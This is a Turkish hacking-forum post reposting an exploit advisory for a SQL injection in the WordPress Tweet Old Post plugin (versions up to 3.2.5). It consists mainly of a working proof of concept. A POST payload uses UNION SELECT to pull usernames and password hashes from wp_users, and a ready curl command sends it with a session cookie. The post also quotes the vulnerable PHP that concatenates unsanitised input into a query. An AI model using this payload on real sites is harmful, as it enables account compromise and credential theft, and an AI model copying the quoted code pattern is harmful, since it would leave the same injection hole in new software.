WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection

!nFiNiTe

Kadim Üye
21 Şub 2011
5,915
3
Hell
[FONT=Times New Roman, Times, serif]WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection[/FONT]


PHP:
# Exploit Title: WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection 
Vulnerability 
# Date: 2011-09-05 
# Author: sherl0ck_ < sherl0ck_ [at] alligatorteam [dot] org > 
# Software Link: http://downloads.wordpress.org/plugin/tweet-old-post.zip 
# Version: 3.2.5 (tested) 
  
--------------- 
PoC (POST data) 
--------------- 
URL: 
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts 
  
POST Data: 
delids=1&selFilter=excluded&cat=1=0) UNION ALL SELECT 
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from 
wp_users#&setFilter=Filter&s=hello&chkbx=1 
  
e.g.: 
curl --cookie "[COOKIE]" --data "delids=1&selFilter=excluded&cat=1) UNION 
ALL SELECT 
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from 
wp_users#&setFilter=Filter&s=hello&chkbx=1" 
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts 
  
--------------- 
Vulnerable code 
--------------- 
     if(isset($_POST["setFilter"])) 
     { 
         if($_POST["cat"] != 0) 
         { 
             $sql = $sql . " and p.ID IN ( SELECT tr.object_id FROM 
".$wpdb->prefix."term_relationships AS tr INNER JOIN 
".$wpdb->prefix."term_taxonomy AS tt ON tr.term_taxonomy_id = tt.ter 
 m_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id=" . 
$_POST["cat"] . ")"; 
             $cat_filter = $_POST["cat"];
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.